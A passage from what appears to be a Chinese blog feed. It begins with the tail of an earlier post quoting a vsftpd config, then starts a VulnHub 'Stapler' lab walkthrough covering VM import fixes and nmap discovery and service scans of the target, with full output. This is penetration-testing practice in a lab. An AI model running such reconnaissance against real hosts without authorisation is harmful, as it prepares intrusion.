# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
banner_file=/etc/vsftpd.banner
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories. See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty. Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
#utf8_filesystem=YES
pasv_enable=no
好像也沒什麼有用的資訊...
]]>首先從這裡Stapler: 1 ~ VulnHub下載,但是直接把Stapler.ovf
導入vmware的話會出錯。根據VMware 导入 ovf 文件格式异常报错之探解 | Secrypt Agency這一篇可以解決。
這裡再一次簡單說一下。環境是vmware workstation pro 16,解壓縮出來有Stapler.ovf、Stapler-disk1.vmdk、Stapler_readme.txt跟Stapler.mf,因為Stapler.ovf寫的方式有錯,才會出現錯誤。用文字編輯軟體如notepad++,把Stapler.ovf打開,替換成以下內容:
<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by VMware ovftool 4.1.0 (build-3018522), UTC time: 2016-06-07T10:02:55.518806Z-->
<Envelope vmw:buildId="build-3018522" xmlns="http://schemas.dmtf.org/ovf/envelope/1" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" xmlns:vmw="http://www.vmware.com/schema/ovf" xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Stapler-disk1.vmdk" ovf:id="file1" ovf:size="757926912"/>
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="20" ovf:capacityAllocationUnits="byte * 2^30" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" ovf:populatedSize="2212560896"/>
</DiskSection>
<NetworkSection>
<Info>The list of logical networks</Info>
<Network ovf:name="hostonly">
<Description>The hostonly network</Description>
</Network>
</NetworkSection>
<VirtualSystem ovf:id="vm">
<Info>A virtual machine</Info>
<Name>Stapler</Name>
<OperatingSystemSection ovf:id="93" vmw:osType="ubuntuGuest">
<Info>The kind of installed guest operating system</Info>
</OperatingSystemSection>
<VirtualHardwareSection>
<Info>Virtual hardware requirements</Info>
<System>
<vssd:Caption>Virtual Hardware Family</vssd:Caption>
<vssd:InstanceID>0</vssd:InstanceID>
<vssd:VirtualSystemIdentifier>Stapler</vssd:VirtualSystemIdentifier>
<vssd:VirtualSystemType>vmx-15</vssd:VirtualSystemType>
</System>
<Item>
<rasd:AllocationUnits>hertz * 10^6</rasd:AllocationUnits>
<rasd:Caption>1 virtual CPU(s)</rasd:Caption>
<rasd:Description>Number of Virtual CPUs</rasd:Description>
<rasd:InstanceID>1</rasd:InstanceID>
<rasd:ResourceType>3</rasd:ResourceType>
<rasd:VirtualQuantity>1</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:AllocationUnits>byte * 2^20</rasd:AllocationUnits>
<rasd:Caption>1024MB of memory</rasd:Caption>
<rasd:Description>Memory Size</rasd:Description>
<rasd:InstanceID>2</rasd:InstanceID>
<rasd:ResourceType>4</rasd:ResourceType>
<rasd:VirtualQuantity>1024</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:Address>0</rasd:Address>
<rasd:Caption>sataController0</rasd:Caption>
<rasd:Description>SATA Controller</rasd:Description>
<rasd:InstanceID>3</rasd:InstanceID>
<rasd:ResourceSubType>AHCI</rasd:ResourceSubType>
<rasd:ResourceType>20</rasd:ResourceType>
</Item>
<Item ovf:required="false">
<rasd:Address>0</rasd:Address>
<rasd:Caption>usb</rasd:Caption>
<rasd:Description>USB Controller (EHCI)</rasd:Description>
<rasd:InstanceID>4</rasd:InstanceID>
<rasd:ResourceSubType>vmware.usb.ehci</rasd:ResourceSubType>
<rasd:ResourceType>23</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="ehciEnabled" vmw:value="true"/>
</Item>
<Item>
<rasd:Address>0</rasd:Address>
<rasd:Caption>scsiController0</rasd:Caption>
<rasd:Description>SCSI Controller</rasd:Description>
<rasd:InstanceID>5</rasd:InstanceID>
<rasd:ResourceSubType>lsilogic</rasd:ResourceSubType>
<rasd:ResourceType>6</rasd:ResourceType>
</Item>
<Item>
<rasd:AddressOnParent>2</rasd:AddressOnParent>
<rasd:AutomaticAllocation>true</rasd:AutomaticAllocation>
<rasd:Caption>ethernet0</rasd:Caption>
<rasd:Connection>hostonly</rasd:Connection>
<rasd:Description>PCNet32 ethernet adapter on "hostonly"</rasd:Description>
<rasd:InstanceID>6</rasd:InstanceID>
<rasd:ResourceSubType>PCNet32</rasd:ResourceSubType>
<rasd:ResourceType>10</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
<vmw:Config ovf:required="false" vmw:key="wakeOnLanEnabled" vmw:value="false"/>
</Item>
<Item ovf:required="false">
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>video</rasd:Caption>
<rasd:InstanceID>7</rasd:InstanceID>
<rasd:ResourceType>24</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="enable3DSupport" vmw:value="false"/>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item ovf:required="false">
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>vmci</rasd:Caption>
<rasd:InstanceID>8</rasd:InstanceID>
<rasd:ResourceSubType>vmware.vmci</rasd:ResourceSubType>
<rasd:ResourceType>1</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item>
<rasd:AddressOnParent>0</rasd:AddressOnParent>
<rasd:Caption>disk0</rasd:Caption>
<rasd:HostResource>ovf:/disk/vmdisk1</rasd:HostResource>
<rasd:InstanceID>9</rasd:InstanceID>
<rasd:Parent>3</rasd:Parent>
<rasd:ResourceType>17</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item ovf:required="false">
<rasd:AddressOnParent>1</rasd:AddressOnParent>
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>cdrom0</rasd:Caption>
<rasd:InstanceID>10</rasd:InstanceID>
<rasd:Parent>3</rasd:Parent>
<rasd:ResourceType>15</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<vmw:Config ovf:required="false" vmw:key="cpuHotAddEnabled" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="memoryHotAddEnabled" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.powerOffType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.resetType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.suspendType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="tools.afterPowerOn" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.afterResume" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.beforeGuestShutdown" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.beforeGuestStandby" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.syncTimeWithHost" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.toolsUpgradePolicy" vmw:value="upgradeAtPowerCycle"/>
</VirtualHardwareSection>
<AnnotationSection ovf:required="false">
<Info>A human-readable annotation</Info>
<Annotation>--[[~~Enjoy. Have fun. Happy Hacking.~~]]--
+ There are multiple methods to-do this machine: At least
-- Two (2) paths to get a limited shell
-- At least three (3) ways to get a root access</Annotation>
</AnnotationSection>
</VirtualSystem>
</Envelope>
接下來再修改Stapler.mf,因為Stapler.mf有Stapler.ovf的sha1的值,所以要改一下。Win10下打開powershell,先用cd指令切換到Stapler.ovf的目錄,再輸入以下指令certutil -hashfile .\Stapler.ovf sha1
,算出sha1值。
PS D:\VM_host\Stapler> certutil -hashfile .\Stapler.ovf sha1
SHA1 hash of .\Stapler.ovf:
0737f41d2e522cda052c876ccb1fba6235dbacc5
CertUtil: -hashfile command completed successfully.
接下來到這個畫面:
點中間那個,再度載入Stapler.ovf,這時vmware會問名稱跟儲存位置。注意儲存位置不要有原本舊的Stapler-disk1.vmdk在。另外,開機之前記得跟kali的虛擬機網路連接方式要一樣(NAT或Bridge)。
先找出靶機IP:
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:00 CST
Nmap scan report for 192.168.44.129
Host is up (0.0015s latency).
Nmap scan report for 192.168.44.227
Host is up (0.0039s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 20.92 seconds
在kali虛擬機打ifconfig指令可知IP是192.168.44.129
,所以靶機IP自然就是227了。之後再對靶機做更進一步的掃描:
$ nmap -A -T4 192.168.44.227
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:00 CST
Nmap scan report for 192.168.44.227
Host is up (0.0029s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.44.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, ConnectWithDatabase, SupportsCompression, LongPassword, Speaks41ProtocolNew, InteractiveClient, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, LongColumnFlag, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: e"b`,f\x1B]1Sx;1_\x0D\x12[v|I
|_ Auth Plugin Name: mysql_native_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.92%I=7%D=10/31%Time=635F5686%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2022-10-31T12:58:46+00:00
|_clock-skew: mean: 7h57m40s, deviation: 0s, median: 7h57m40s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-10-31T12:58:46
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds
Segmentation fault
可以再試試加更多option再掃一次:
$ sudo nmap -sS -sV -T5 -A -p- 192.168.44.227
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:10 CST
Nmap scan report for 192.168.44.227
Host is up (0.0038s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.44.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 18
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, FoundRows, SupportsTransactions, ODBCClient, ConnectWithDatabase, LongColumnFlag, SupportsCompression, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongPassword, InteractiveClient, Speaks41ProtocolNew, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: Q}Pm,^b%\x17^q5\x05s;\x06mN1q
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tim, we need to-do better next year for Initech
|_http-server-header: Apache/2.4.18 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.92%I=7%D=10/31%Time=635F58F1%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.10 - 4.11 (93%), Linux 3.13 (93%), Linux 3.13 - 3.16 (93%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (93%), Linux 4.10 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 3.2 - 3.10 (93%), Linux 3.2 - 3.16 (93%), Linux 4.5 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2022-10-31T13:08:07+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-10-31T13:08:07
|_ start_date: N/A
|_clock-skew: mean: 7h56m37s, deviation: 0s, median: 7h56m37s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.65 ms DESKTOP-NRNV04H.mshome.net (172.22.128.1)
